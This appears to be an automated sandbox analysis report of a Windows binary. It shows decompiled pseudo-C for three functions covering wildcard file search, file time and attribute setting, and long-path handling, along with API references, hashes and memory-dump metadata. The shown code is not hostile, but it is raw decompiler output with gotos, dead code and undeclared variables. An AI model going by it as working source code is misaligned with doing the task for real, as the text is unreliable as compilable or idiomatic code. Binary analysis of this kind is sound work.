Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 62a061ba3abf217a582c60826a0e7218f33204a69e8f13c21ed01ff4b8256804
Instruction ID: 779aa445df4076fde1f702bc5e8c3399e399462741f3dc85b499f7c41861014a
Opcode Fuzzy Hash: 62a061ba3abf217a582c60826a0e7218f33204a69e8f13c21ed01ff4b8256804
Instruction Fuzzy Hash: 7B51C73128C309F9F62D1ED88D47F26795DAB15F0CF40C506F79B6ACDDD5A1D8205612

Uniqueness

Uniqueness Score: -1.00%

Function 01379E43, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E01379E43(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t136;
				void* _t138;
				signed int _t139;
				signed int _t142;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t150;
				void* _t153;
				CHAR* _t154;
				char _t157;
				char _t159;
				intOrPtr* _t162;
				void* _t163;
				intOrPtr* _t164;
				signed int _t166;
				void* _t168;
				intOrPtr* _t169;
				signed int _t173;
				signed int _t177;
				signed int _t178;
				intOrPtr* _t183;
				void* _t192;
				intOrPtr _t193;
				signed int _t195;
				signed int _t196;
				signed int _t198;
				signed int _t199;
				signed int _t201;
				union _FINDEX_INFO_LEVELS _t202;
				signed int _t207;
				signed int _t209;
				signed int _t210;
				void* _t212;
				intOrPtr _t213;
				void* _t214;
				signed int _t218;
				void* _t220;
				signed int _t221;
				void* _t222;
				void* _t223;
				void* _t224;
				signed int _t225;
				void* _t226;
				void* _t227;

				_t80 = _a8;
				_t223 = _t222 - 0x20;
				if(_t80 != 0) {
					_t207 = _a4;
					_t159 = 0;
					 *_t80 = 0;
					_t198 = 0;
					_t150 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t207;
					if( *_t207 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t150 - _t198;
						_v8 = _t159;
						_t190 = (_t82 >> 2) + 1;
						__eflags = _t150 - _t198;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t209 =  !_t207 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t209;
						if(_t209 != 0) {
							_t196 = _t198;
							_t157 = _t159;
							do {
								_t183 =  *_t196;
								_t17 = _t183 + 1; // 0x1
								_v8 = _t17;
								do {
									_t142 =  *_t183;
									_t183 = _t183 + 1;
									__eflags = _t142;
								} while (_t142 != 0);
								_t157 = _t157 + 1 + _t183 - _v8;
								_t196 = _t196 + 4;
								_t144 = _v12 + 1;
								_v12 = _t144;
								__eflags = _t144 - _t209;
							} while (_t144 != _t209);
							_t190 = _v16;
							_v8 = _t157;
							_t150 = _v336.cAlternateFileName;
						}
						_t210 = E01376F0C(_t190, _v8, 1);
						_t224 = _t223 + 0xc;
						__eflags = _t210;
						if(_t210 != 0) {
							_t87 = _t210 + _v16 * 4;
							_v20 = _t87;
							_t191 = _t87;
							_v16 = _t87;
							__eflags = _t198 - _t150;
							if(_t198 == _t150) {
								L23:
								_t199 = 0;
								__eflags = 0;
								 *_a8 = _t210;
								goto L24;
							} else {
								_t93 = _t210 - _t198;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t162 =  *_t198;
									_v12 = _t162 + 1;
									do {
										_t95 =  *_t162;
										_t162 = _t162 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t163 = _t162 - _v12;
									_t35 = _t163 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E0137DD71(_t163, _t191, _v20 - _t191 + _v8,  *_t198);
									_t224 = _t224 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E01377DBB();
										asm("int3");
										_t220 = _t224;
										_push(_t163);
										_t164 = _v64;
										_t47 = _t164 + 1; // 0x1
										_t192 = _t47;
										do {
											_t103 =  *_t164;
											_t164 = _t164 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t198);
										_t201 = _a8;
										_t166 = _t164 - _t192 + 1;
										_v12 = _t166;
										__eflags = _t166 - (_t103 | 0xffffffff) - _t201;
										if(_t166 <= (_t103 | 0xffffffff) - _t201) {
											_push(_t150);
											_t50 = _t201 + 1; // 0x1
											_t153 = _t50 + _t166;
											_t212 = E01377B1B(_t166, _t153, 1);
											_t168 = _t210;
											__eflags = _t201;
											if(_t201 == 0) {
												L34:
												_push(_v12);
												_t153 = _t153 - _t201;
												_t108 = E0137DD71(_t168, _t212 + _t201, _t153, _v0);
												_t225 = _t224 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t136 = E0137A212(_a12, _t192, __eflags, _t212);
													E01377A50(0);
													_t138 = _t136;
													goto L36;
												}
											} else {
												_push(_t201);
												_t139 = E0137DD71(_t168, _t212, _t153, _a4);
												_t225 = _t224 + 0x10;
												__eflags = _t139;
												if(_t139 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E01377DBB();
													asm("int3");
													_push(_t220);
													_t221 = _t225;
													_t226 = _t225 - 0x150;
													_t111 =  *0x138d668; // 0xea6a5ad2
													_v116 = _t111 ^ _t221;
													_t169 = _v100;
													_push(_t153);
													_t154 = _v104;
													_push(_t212);
													_t213 = _v96;
													_push(_t201);
													_v440 = _t213;
													while(1) {
														__eflags = _t169 - _t154;
														if(_t169 == _t154) {
															break;
														}
														_t113 =  *_t169;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t169 = E0137DDC0(_t154, _t169);
																	continue;
																}
															}
														}
														break;
													}
													_t193 =  *_t169;
													__eflags = _t193 - 0x3a;
													if(_t193 != 0x3a) {
														L47:
														_t202 = 0;
														__eflags = _t193 - 0x2f;
														if(_t193 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t193 - 0x5c;
															if(_t193 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t193 - 0x3a;
																if(_t193 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t169 - _t154 + 0x00000001;
														E0136E920(_t202,  &_v336, _t202, 0x140);
														_t227 = _t226 + 0xc;
														_t214 = FindFirstFileExA(_t154, _t202,  &_v336, _t202, _t202, _t202);
														_t123 = _v340;
														__eflags = _t214 - 0xffffffff;
														if(_t214 != 0xffffffff) {
															_t173 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t173;
															_v348 = _t173 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t154);
																	_push(_t123);
																	L28();
																	_t227 = _t227 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t177 = _v291;
																	__eflags = _t177;
																	if(_t177 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t177 - 0x2e;
																		if(_t177 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t214,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t194 =  *_t123;
															_t178 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t178 - _t131;
															if(_t178 != _t131) {
																E01375030(_t154, _t202, _t214, _t194 + _t178 * 4, _t131 - _t178, 4, E01379E2B);
															}
														} else {
															_push(_t123);
															_push(_t202);
															_push(_t202);
															_push(_t154);
															L28();
															L54:
															_t202 = _t123;
														}
														__eflags = _t214 - 0xffffffff;
														if(_t214 != 0xffffffff) {
															FindClose(_t214);
														}
														_t124 = _t202;
													} else {
														_t124 =  &(_t154[1]);
														__eflags = _t169 -  &(_t154[1]);
														if(_t169 ==  &(_t154[1])) {
															goto L47;
														} else {
															_push(_t213);
															_push(0);
															_push(0);
															_push(_t154);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t221;
													return E0136E203(_t124, _v16 ^ _t221);
												} else {
													goto L34;
												}
											}
										} else {
											_t138 = 0xc;
											L36:
											return _t138;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t195 = _v16;
									 *((intOrPtr*)(_v24 + _t198)) = _t195;
									_t198 = _t198 + 4;
									_t191 = _t195 + _v12;
									_v16 = _t195 + _v12;
									__eflags = _t198 - _t150;
								} while (_t198 != _t150);
								goto L23;
							}
						} else {
							_t199 = _t198 | 0xffffffff;
							L24:
							E01377A50(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t159;
							_t146 = E0137DD80( *_t207,  &_v8);
							__eflags = _t146;
							if(_t146 != 0) {
								_push( &_v36);
								_push(_t146);
								_push( *_t207);
								L38();
								_t223 = _t223 + 0xc;
							} else {
								_t146 =  &_v36;
								_push(_t146);
								_push(0);
								_push(0);
								_push( *_t207);
								L28();
								_t223 = _t223 + 0x10;
							}
							_t199 = _t146;
							__eflags = _t199;
							if(_t199 != 0) {
								break;
							}
							_t207 = _t207 + 4;
							_t159 = 0;
							__eflags =  *_t207;
							if( *_t207 != 0) {
								continue;
							} else {
								_t150 = _v336.cAlternateFileName;
								_t198 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E0137A1ED( &_v36);
						_t91 = _t199;
						goto L26;
					}
				} else {
					_t147 = E01377ECC();
					_t218 = 0x16;
					 *_t147 = _t218;
					E01377DAB();
					_t91 = _t218;
					L26:
					return _t91;
				}
				L68:
			}

0x01379e48
0x01379e4b
0x01379e51
0x01379e69
0x01379e6c
0x01379e70
0x01379e72
0x01379e74
0x01379e76
0x01379e79
0x01379e7c
0x01379e7f
0x01379e81
0x01379ed9
0x01379ed9
0x01379edf
0x01379ee1
0x01379eec
0x01379ef0
0x01379ef2
0x01379ef5
0x01379ef9
0x01379ef9
0x01379efb
0x01379efd
0x01379eff
0x01379f01
0x01379f01
0x01379f03
0x01379f06
0x01379f09
0x01379f09
0x01379f0b
0x01379f0c
0x01379f0c
0x01379f17
0x01379f19
0x01379f1c
0x01379f1d
0x01379f20
0x01379f20
0x01379f24
0x01379f27
0x01379f2a
0x01379f2a
0x01379f38
0x01379f3a
0x01379f3d
0x01379f3f
0x01379f49
0x01379f4c
0x01379f4f
0x01379f51
0x01379f54
0x01379f56
0x01379fa6
0x01379fa9
0x01379fa9
0x01379fab
0x00000000
0x01379f58
0x01379f5a
0x01379f5a
0x01379f5c
0x01379f5f
0x01379f5f
0x01379f64
0x01379f67
0x01379f67
0x01379f69
0x01379f6a
0x01379f6a
0x01379f6e
0x01379f71
0x01379f71
0x01379f74
0x01379f77
0x01379f84
0x01379f89
0x01379f8c
0x01379f8e
0x01379fc8
0x01379fc9
0x01379fca
0x01379fcb
0x01379fcc
0x01379fcd
0x01379fd2
0x01379fd6
0x01379fd8
0x01379fd9
0x01379fdc
0x01379fdc
0x01379fdf
0x01379fdf
0x01379fe1
0x01379fe2
0x01379fe2
0x01379feb
0x01379fec
0x01379fef
0x01379ff2
0x01379ff5
0x01379ff7
0x01379ffe
0x0137a000
0x0137a003
0x0137a00d
0x0137a010
0x0137a011
0x0137a013
0x0137a027
0x0137a027
0x0137a02a
0x0137a034
0x0137a039
0x0137a03c
0x0137a03e
0x00000000
0x0137a040
0x0137a044
0x0137a04d
0x0137a053
0x00000000
0x0137a056
0x0137a015
0x0137a015
0x0137a01b
0x0137a020
0x0137a023
0x0137a025
0x0137a05c
0x0137a05e
0x0137a05f
0x0137a060
0x0137a061
0x0137a062
0x0137a063
0x0137a068
0x0137a06b
0x0137a06c
0x0137a06e
0x0137a074
0x0137a07b
0x0137a07e
0x0137a081
0x0137a082
0x0137a085
0x0137a086
0x0137a089
0x0137a08a
0x0137a0ab
0x0137a0ab
0x0137a0ad
0x00000000
0x00000000
0x0137a092
0x0137a094
0x0137a096
0x0137a098
0x0137a09a
0x0137a09c
0x0137a09e
0x0137a0a9
0x00000000
0x0137a0a9
0x0137a09e
0x0137a09a
0x00000000
0x0137a096
0x0137a0af
0x0137a0b1
0x0137a0b4
0x0137a0cd
0x0137a0cd
0x0137a0cf
0x0137a0d2
0x0137a0e2
0x0137a0e4
0x0137a0e4
0x0137a0d4
0x0137a0d4
0x0137a0d7
0x00000000
0x0137a0d9
0x0137a0d9
0x0137a0dc
0x00000000
0x0137a0de
0x0137a0de
0x0137a0de
0x0137a0dc
0x0137a0d7
0x0137a0f2
0x0137a0f6
0x0137a104
0x0137a109
0x0137a11e
0x0137a120
0x0137a126
0x0137a129
0x0137a15b
0x0137a15b
0x0137a160
0x0137a166
0x0137a166
0x0137a16d
0x0137a187
0x0137a187
0x0137a188
0x0137a18e
0x0137a194
0x0137a195
0x0137a196
0x0137a19b
0x0137a19e
0x0137a1a0
0x00000000
0x00000000
0x00000000
0x00000000
0x0137a16f
0x0137a16f
0x0137a175
0x0137a177
0x00000000
0x0137a179
0x0137a179
0x0137a17c
0x00000000
0x0137a17e
0x0137a17e
0x0137a185
0x00000000
0x00000000
0x00000000
0x00000000
0x0137a185
0x0137a17c
0x0137a177
0x00000000
0x0137a1a2
0x0137a1aa
0x0137a1b0
0x0137a1b2
0x0137a1b2
0x0137a1ba
0x0137a1bf
0x0137a1c7
0x0137a1ca
0x0137a1cc
0x0137a1e0
0x0137a1e5
0x0137a12b
0x0137a12b
0x0137a12c
0x0137a12d
0x0137a12e
0x0137a12f
0x0137a137
0x0137a137
0x0137a137
0x0137a139
0x0137a13c
0x0137a13f
0x0137a13f
0x0137a145
0x0137a0b6
0x0137a0b6
0x0137a0b9
0x0137a0bb
0x00000000
0x0137a0bd
0x0137a0bd
0x0137a0c0
0x0137a0c1
0x0137a0c2
0x0137a0c3
0x0137a0c8
0x0137a0bb
0x0137a147
0x0137a14c
0x0137a157
0x00000000
0x00000000
0x00000000
0x0137a025
0x01379ff9
0x01379ffb
0x0137a057
0x0137a05b
0x0137a05b
0x00000000
0x00000000
0x00000000
0x00000000
0x01379f90
0x01379f93
0x01379f96
0x01379f99
0x01379f9c
0x01379f9f
0x01379fa2
0x01379fa2
0x00000000
0x01379f5f
0x01379f41
0x01379f41
0x01379fad
0x01379faf
0x00000000
0x01379fb4
0x01379e83
0x01379e83
0x01379e86
0x01379e8f
0x01379e92
0x01379e99
0x01379e9b
0x01379eb4
0x01379eb5
0x01379eb6
0x01379eb8
0x01379ebd
0x01379e9d
0x01379e9d
0x01379ea0
0x01379ea1
0x01379ea3
0x01379ea5
0x01379ea7
0x01379eac
0x01379eac
0x01379ec0
0x01379ec2
0x01379ec4
0x00000000
0x00000000
0x01379eca
0x01379ecd
0x01379ecf
0x01379ed1
0x00000000
0x01379ed3
0x01379ed3
0x01379ed6
0x00000000
0x01379ed6
0x00000000
0x01379ed1
0x01379fb5
0x01379fb8
0x01379fbd
0x00000000
0x01379fc0
0x01379e53
0x01379e53
0x01379e5a
0x01379e5b
0x01379e5d
0x01379e62
0x01379fc1
0x01379fc5
0x01379fc5
0x00000000

APIs

_free.LIBCMT ref: 01379FAF

Part of subcall function 01377DBB: IsProcessorFeaturePresent.KERNEL32(00000017,01377DAA,0000002C,0138A968,0137AF68,00000000,00000000,01378599,?,?,01377DB7,00000000,00000000,00000000,00000000,00000000), ref: 01377DBD
Part of subcall function 01377DBB: GetCurrentProcess.KERNEL32(C0000417,0138A968,0000002C,01377AE8,00000016,01378599), ref: 01377DDF
Part of subcall function 01377DBB: TerminateProcess.KERNEL32(00000000), ref: 01377DE6

Strings

*?, xrefs: 01379E86
., xrefs: 0137A166

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 94f8a64fa80366221982f68d4a3b181e271fc585eb11c879034c7e578db89a15
Instruction ID: 23e0f96baa710bec64bf86e887f2536c2c6e9a785e8e1b50519cb3a590a24ddb
Opcode Fuzzy Hash: 94f8a64fa80366221982f68d4a3b181e271fc585eb11c879034c7e578db89a15
Instruction Fuzzy Hash: 2351A575E0020A9FDF25DFACC880BADBBF5EF48328F244269E554E7341E6799A058B50

Uniqueness

Uniqueness Score: -1.00%

Function 01357570, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138
timeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E01357570(void* __ecx, void* __edx) {
				void* __esi;
				char _t54;
				signed int _t57;
				void* _t61;
				signed int _t62;
				signed int _t68;
				signed int _t85;
				void* _t90;
				void* _t99;
				void* _t101;
				intOrPtr* _t106;
				void* _t108;

				_t99 = __edx;
				E0136D870(E01381298, _t108);
				E0136D940();
				_t106 =  *((intOrPtr*)(_t108 + 0xc));
				if( *_t106 == 0) {
					L3:
					_t101 = 0x802;
					E0135FAB1(_t108 - 0x1010, _t106, 0x802);
					L4:
					_t81 =  *((intOrPtr*)(_t108 + 8));
					E01357773(_t106,  *((intOrPtr*)(_t108 + 8)), _t108 - 0x407c, 0x800);
					_t113 =  *((short*)(_t108 - 0x407c)) - 0x3a;
					if( *((short*)(_t108 - 0x407c)) == 0x3a) {
						__eflags =  *((char*)(_t108 + 0x10));
						if(__eflags == 0) {
							E0135FA89(__eflags, _t108 - 0x1010, _t108 - 0x407c, _t101);
							E01356EF9(_t108 - 0x307c);
							_push(0);
							_t54 = E0135A1B1(_t108 - 0x307c, _t99, __eflags, _t106, _t108 - 0x307c);
							_t85 =  *(_t108 - 0x2074);
							 *((char*)(_t108 + 0x13)) = _t54;
							__eflags = _t85 & 0x00000001;
							if((_t85 & 0x00000001) != 0) {
								__eflags = _t85 & 0xfffffffe;
								E0135A12F(_t106, _t85 & 0xfffffffe);
							}
							E0135943C(_t108 - 0x2034);
							 *((intOrPtr*)(_t108 - 4)) = 1;
							_t57 = E01359BE6(_t108 - 0x2034, __eflags, _t108 - 0x1010, 0x11);
							__eflags = _t57;
							if(_t57 != 0) {
								_push(0);
								_push(_t108 - 0x2034);
								_push(0);
								_t68 = E0135399D(_t81, _t99);
								__eflags = _t68;
								if(_t68 != 0) {
									E013594DA(_t108 - 0x2034);
								}
							}
							E0135943C(_t108 - 0x50a0);
							__eflags =  *((char*)(_t108 + 0x13));
							 *((char*)(_t108 - 4)) = 2;
							if( *((char*)(_t108 + 0x13)) != 0) {
								_t62 = E01359768(_t108 - 0x50a0, _t106, _t106, 5);
								__eflags = _t62;
								if(_t62 != 0) {
									SetFileTime( *(_t108 - 0x509c), _t108 - 0x2054, _t108 - 0x204c, _t108 - 0x2044);
								}
							}
							E0135A12F(_t106,  *(_t108 - 0x2074));
							E0135946E(_t108 - 0x50a0);
							_t90 = _t108 - 0x2034;
						} else {
							E0135943C(_t108 - 0x60c4);
							_push(1);
							_push(_t108 - 0x60c4);
							_push(0);
							 *((intOrPtr*)(_t108 - 4)) = 0;
							E0135399D(_t81, _t99);
							_t90 = _t108 - 0x60c4;
						}
						_t61 = E0135946E(_t90);
					} else {
						E01356BF5(_t113, 0x53, _t81 + 0x1e, _t106);
						_t61 = E01356E03(0x13900e0, 3);
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t108 - 0xc));
					return _t61;
				}
				_t112 =  *((intOrPtr*)(_t106 + 2));
				if( *((intOrPtr*)(_t106 + 2)) != 0) {
					goto L3;
				} else {
					_t101 = 0x802;
					E0135FAB1(_t108 - 0x1010, 0x1382490, 0x802);
					E0135FA89(_t112, _t108 - 0x1010, _t106, 0x802);
					goto L4;
				}
			}

0x01357570
0x01357575
0x0135757f
0x01357586
0x0135758f
0x013575be
0x013575be
0x013575cc
0x013575d1
0x013575d1
0x013575e1
0x013575e6
0x013575ee
0x0135760d
0x01357611
0x0135764e
0x01357659
0x01357666
0x01357669
0x0135766e
0x01357674
0x01357677
0x0135767a
0x0135767c
0x01357681
0x01357681
0x0135768c
0x01357699
0x013576a7
0x013576ac
0x013576ae
0x013576b0
0x013576b9
0x013576ba
0x013576bb
0x013576c0
0x013576c2
0x013576ca
0x013576ca
0x013576c2
0x013576d5
0x013576da
0x013576de
0x013576e2
0x013576ed
0x013576f2
0x013576f4
0x01357711
0x01357711
0x013576f4
0x0135771e
0x01357729
0x0135772e
0x01357613
0x01357619
0x0135761e
0x01357628
0x01357629
0x0135762c
0x0135762f
0x01357634
0x01357634
0x01357734
0x013575f0
0x013575f7
0x01357603
0x01357603
0x0135773f
0x01357749
0x01357749
0x01357591
0x01357595
0x00000000
0x01357597
0x01357597
0x013575a9
0x013575b7
0x00000000
0x013575b7

APIs

__EH_prolog.LIBCMT ref: 01357575
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 01357711

Part of subcall function 0135A12F: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,01359F65,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 0135A143
Part of subcall function 0135A12F: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,01359F65,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 0135A174

Strings

:, xrefs: 013575E6

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 338f2f52072254c8b2e86325dd2bcafd68aef9e25b83ff45188f3651ac4ab89f
Instruction ID: 353686f64efe9f2bca8d03b3756ea9a254055eeb864d89010e396eda4a9ccdc1
Opcode Fuzzy Hash: 338f2f52072254c8b2e86325dd2bcafd68aef9e25b83ff45188f3651ac4ab89f
Instruction Fuzzy Hash: 9141A4B1801219AAEB64EB68CC54FEF777CAF54B48F4040D9AE45A3041DB705F88CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0135B32C, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0135B32C(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4096;
				short _v4100;
				signed short* _t30;
				long _t32;
				short _t33;
				void* _t39;
				signed short* _t52;
				void* _t53;
				signed short* _t62;
				void* _t66;
				intOrPtr _t69;
				signed short* _t71;
				intOrPtr _t73;

				E0136D940();
				_t71 = _a4;
				if( *_t71 != 0) {
					E0135B4C6(_t71);
					_t66 = E01372B33(_t71);
					_t30 = E0135B4F2(_t71);
					__eflags = _t30;
					if(_t30 == 0) {
						_t32 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t32;
						if(_t32 == 0) {
							L22:
							_t33 = 0;
							__eflags = 0;
							L23:
							goto L24;
						}
						__eflags = _t32 - 0x7ff;
						if(_t32 > 0x7ff) {
							goto L22;
						}
						__eflags = E0135B5CD( *_t71 & 0x0000ffff);
						if(__eflags == 0) {
							E0135AEA5(__eflags,  &_v4100, 0x800);
							_t39 = E01372B33( &_v4100);
							_t69 = _a12;
							__eflags = _t69 - _t39 + _t66 + 4;
							if(_t69 <= _t39 + _t66 + 4) {
								goto L22;
							}
							E0135FAB1(_a8, L"\\\\?\\", _t69);
							E0135FA89(__eflags, _a8,  &_v4100, _t69);
							__eflags =  *_t71 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0135B5CD(_t71[1] & 0x0000ffff);
								if(__eflags != 0) {
									_t71 =  &(_t71[2]);
									__eflags = _t71;
								}
							}
							L19:
							_push(_t69);
							L20:
							_push(_t71);
							L21:
							_push(_a8);
							E0135FA89(__eflags);
							_t33 = 1;
							goto L23;
						}
						_t13 = _t66 + 6; // 0x6
						_t69 = _a12;
						__eflags = _t69 - _t13;
						if(_t69 <= _t13) {
							goto L22;
						}
						E0135FAB1(_a8, L"\\\\?\\", _t69);
						_v4096 = 0;
						E0135FA89(__eflags, _a8,  &_v4100, _t69);
						goto L19;
					}
					_t52 = E0135B4C6(_t71);
					__eflags = _t52;
					if(_t52 == 0) {
						_t53 = 0x5c;
						__eflags =  *_t71 - _t53;
						if( *_t71 != _t53) {
							goto L22;
						}
						_t62 =  &(_t71[1]);
						__eflags =  *_t62 - _t53;
						if( *_t62 != _t53) {
							goto L22;
						}
						_t73 = _a12;
						_t9 = _t66 + 6; // 0x6
						__eflags = _t73 - _t9;
						if(_t73 <= _t9) {
							goto L22;
						}
						E0135FAB1(_a8, L"\\\\?\\", _t73);
						E0135FA89(__eflags, _a8, L"UNC", _t73);
						_push(_t73);
						_push(_t62);
						goto L21;
					}
					_t2 = _t66 + 4; // 0x4
					__eflags = _a12 - _t2;
					if(_a12 <= _t2) {
						goto L22;
					}
					E0135FAB1(_a8, L"\\\\?\\", _a12);
					_push(_a12);
					goto L20;
				} else {
					_t33 = 0;
					L24:
					return _t33;
				}
			}

0x0135b334
0x0135b33a
0x0135b341
0x0135b34d
0x0135b35a
0x0135b35c
0x0135b361
0x0135b363
0x0135b3e9
0x0135b3ef
0x0135b3f1
0x0135b4b0
0x0135b4b0
0x0135b4b0
0x0135b4b2
0x00000000
0x0135b4b3
0x0135b3f7
0x0135b3f9
0x00000000
0x00000000
0x0135b408
0x0135b40a
0x0135b44f
0x0135b45b
0x0135b465
0x0135b469
0x0135b46b
0x00000000
0x00000000
0x0135b476
0x0135b486
0x0135b48b
0x0135b48f
0x0135b49b
0x0135b49d
0x0135b49f
0x0135b49f
0x0135b49f
0x0135b49d
0x0135b4a2
0x0135b4a2
0x0135b4a3
0x0135b4a3
0x0135b4a4
0x0135b4a4
0x0135b4a7
0x0135b4ac
0x00000000
0x0135b4ac
0x0135b40c
0x0135b40f
0x0135b412
0x0135b414
0x00000000
0x00000000
0x0135b423
0x0135b42a
0x0135b43c
0x00000000
0x0135b43c
0x0135b366
0x0135b36b
0x0135b36d
0x0135b395
0x0135b396
0x0135b399
0x00000000
0x00000000
0x0135b39f
0x0135b3a2
0x0135b3a5
0x00000000
0x00000000
0x0135b3ab
0x0135b3ae
0x0135b3b1
0x0135b3b3
0x00000000
0x00000000
0x0135b3c2
0x0135b3d0
0x0135b3d5
0x0135b3d6
0x00000000
0x0135b3d6
0x0135b36f
0x0135b372
0x0135b375
0x00000000
0x00000000
0x0135b386
0x0135b38b
0x00000000
0x0135b343
0x0135b343
0x0135b4b4
0x0135b4b8
0x0135b4b8

Strings

\\?\, xrefs: 0135B37E, 0135B3BA, 0135B41B, 0135B46E
UNC, xrefs: 0135B3C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 8ccd05a954d3ab882e85f67f5ee229afd0431bce67be2a7e2794e26c8f186ab3
